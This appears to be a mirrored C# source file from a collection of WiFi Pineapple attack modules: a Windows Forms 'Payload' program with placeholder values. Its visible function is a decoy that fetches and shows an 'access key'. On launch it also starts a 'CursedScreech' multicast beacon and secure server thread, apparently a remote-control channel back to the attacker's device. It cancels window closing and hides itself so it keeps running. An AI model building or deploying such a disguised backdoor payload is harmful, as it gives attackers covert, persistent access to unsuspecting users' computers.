mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
44 lines
1.3 KiB
C#
Executable File
44 lines
1.3 KiB
C#
Executable File
using System;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
using PineappleModules;
|
|
|
|
namespace Payload
|
|
{
|
|
public partial class Form1 : Form {
|
|
|
|
PA_Authorization pauth = new PA_Authorization();
|
|
|
|
public Form1() {
|
|
InitializeComponent();
|
|
|
|
CursedScreech cs = new CursedScreech();
|
|
cs.startMulticaster("IPAddress", mcastport, hbinterval);
|
|
cs.setRemoteCertificateSerial("serial");
|
|
cs.setRemoteCertificateHash("fingerprint");
|
|
cs.startSecureServerThread("privateKey", "password");
|
|
}
|
|
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
|
|
e.Cancel = true;
|
|
this.Hide();
|
|
}
|
|
|
|
private void accessKeyButton_Click(object sender, EventArgs e) {
|
|
|
|
// Request an access key from the Pineapple
|
|
string key = pauth.getAccessKey();
|
|
|
|
// Check if a key was returned
|
|
string msg;
|
|
if (key.Length > 0) {
|
|
msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
|
|
}
|
|
else {
|
|
msg = "Failed to retrieve an access key from the server. Please try again later.";
|
|
}
|
|
|
|
// Display message to the user
|
|
MessageBox.Show(msg);
|
|
}
|
|
}
|
|
} |